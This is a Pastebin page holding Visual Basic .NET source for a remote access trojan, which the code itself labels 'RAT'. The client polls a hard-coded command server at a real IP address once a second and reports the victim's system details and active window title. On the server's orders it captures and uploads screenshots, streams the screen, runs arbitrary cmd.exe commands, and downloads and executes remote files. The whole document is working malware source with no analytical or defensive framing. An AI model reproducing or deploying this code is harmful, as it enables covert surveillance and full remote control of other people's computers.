Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Text
- Imports System.Net
- Imports System.Threading
- Imports System.Net.NetworkInformation
- Imports System.IO
- Imports System.Drawing.Imaging
- ''' <summary>
- ''' TODO: Ajouter un mutex
- ''' </summary>
- Public Class MainForm
- Private Declare Function GetForegroundWindow Lib "user32" Alias "GetForegroundWindow" () As IntPtr
- Private Declare Auto Function GetWindowText Lib "user32" (ByVal hWnd As System.IntPtr, ByVal lpString As System.Text.StringBuilder, ByVal cch As Integer) As Integer
- Private Function GetCaption() As String
- Dim Caption As New StringBuilder(256)
- Dim hWnd As IntPtr = GetForegroundWindow()
- GetWindowText(hWnd, Caption, Caption.Capacity)
- Return Caption.ToString()
- End Function
- Dim EOFArguments As String() = {"http://185.62.188.189/RAT/"}
- Dim mainWebClient As WebClient = New WebClient()
- Dim screenshareQuality As Long = 25L
- Dim screenshareFluxInterval As Integer = 500
- Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
- ' FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read)
- ' Dim Data As String = Space(LOF(1))
- 'FileGet(1, Data)
- 'FileClose(1)
- Dim upTime As Integer = 0
- Dim cpuCounter As PerformanceCounter = New PerformanceCounter("Processor", "% Processor Time", "_Total")
- Dim softwareName As String = AppDomain.CurrentDomain.FriendlyName
- ' Try
- While True
- Dim address As IPAddress = Dns.GetHostAddresses(New Uri(EOFArguments(0) & "clients.php?action=writeme").Host)(0)
- Dim ping As String = New Ping().Send(address).RoundtripTime.ToString()
- Dim apiResponse As String = New WebClient().DownloadString(EOFArguments(0) &
- "clients.php?action=writeme&ping=" & ping &
- "&ram=" & Math.Round(My.Computer.Info.AvailableVirtualMemory / (1024 * 1024), 2).ToString &
- "&cpu=" & String.Format("{0:f0}", Convert.ToSingle(cpuCounter.NextValue())) &
- "¤twindow=" & GetCaption() &
- "&uptime=" & upTime &
- "&softwarename=" & softwareName
- )
- If apiResponse.Trim <> "" Then
- Dim parsedResponse As String() = apiResponse.Split("|")
- Dim actionType As String = parsedResponse(0)
- Dim actionContent As String() = parsedResponse.Skip(1).ToArray
- parseAction(actionType, actionContent)
- End If
- GC.Collect()
- upTime += 1
- Thread.Sleep(1000)
- End While
- 'Catch
- 'End Try
- End Sub
- Private Sub parseAction(actionType As String, actionContent As String())
- If actionType = "screenshare" Then
- If actionContent(0) = "start" Then
- screenshareQuality = actionContent(1)
- screenshareFluxInterval = Convert.ToInt32(actionContent(2))
- If Not screenshareBW.IsBusy Then
- screenshareBW.RunWorkerAsync()
- End If
- Else
- screenshareBW.CancelAsync()
- End If
- ElseIf actionType = "screenshot" Then
- Dim screenGrab As Bitmap = TakeBitmapScreenshot()
- Dim bmpBytes As Byte() = resizeConvertBMP(screenGrab, 75L)
- mainWebClient.UploadData(EOFArguments(0) & "clients.php?action=uploadscreenshot&actioncontent=" + actionContent(0), bmpBytes)
- ElseIf actionType = "runwincmd" Then
- Shell("cmd.exe /c " & actionContent(0))
- ElseIf actionType = "shutdownrat" Then
- Environment.Exit(1)
- End If
- #Region "tools"
- If actionType = "remotexec" Then
- Dim filename As String = actionContent(0)
- Dim client As New WebClient
- client.DownloadFile(EOFArguments(0) & "/files/" & filename, filename)
- File.Move(filename, System.IO.Path.GetTempPath & filename)
- File.Delete(filename)
- Process.Start(System.IO.Path.GetTempPath & filename)
- End If
- #End Region
- End Sub
- #Region "Screenshare"
- Private Function GetEncoderInfo(ByVal mimeType As String) As ImageCodecInfo
- Dim j As Integer
- Dim encoders As ImageCodecInfo()
- encoders = ImageCodecInfo.GetImageEncoders()
- For j = 0 To encoders.Length - 1
- If encoders(j).MimeType = mimeType Then Return encoders(j)
- Next
- Return Nothing
- End Function
- Private Function TakeBitmapScreenshot() As Bitmap
- Dim screenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
- Dim screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
- Dim g As Graphics = Graphics.FromImage(screenGrab)
- g.CopyFromScreen(New Point(0, 0), New Point(0, 0), screenSize)
- Return screenGrab
- End Function
- Private Function ResizeConvertBMP(bitmapData As Bitmap, imgQuality As Long) As Byte()
- Dim myEncoderParameters = New EncoderParameters(1)
- myEncoderParameters.Param(0) = New EncoderParameter(Imaging.Encoder.Quality, imgQuality)
- Dim MS As MemoryStream = New MemoryStream()
- Dim resizedBmp = New Bitmap(bitmapData, New Size(1600, 1050))
- resizedBmp.Save(MS, GetEncoderInfo("image/jpeg"), myEncoderParameters)
- Dim bmpBytes As Byte() = MS.GetBuffer()
- bitmapData.Dispose()
- MS.Close()
- Return bmpBytes
- End Function
- Private Sub screenshareBW_DoWork(sender As Object, e As System.ComponentModel.DoWorkEventArgs) Handles screenshareBW.DoWork
- While True
- Dim screenGrab = TakeBitmapScreenshot()
- Dim bmpBytes As Byte() = ResizeConvertBMP(screenGrab, screenshareQuality)
- mainWebClient.UploadData(EOFArguments(0) & "clients.php?action=uploadimage", bmpBytes)
- Thread.Sleep(screenshareFluxInterval)
- End While
- End Sub
- #End Region
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement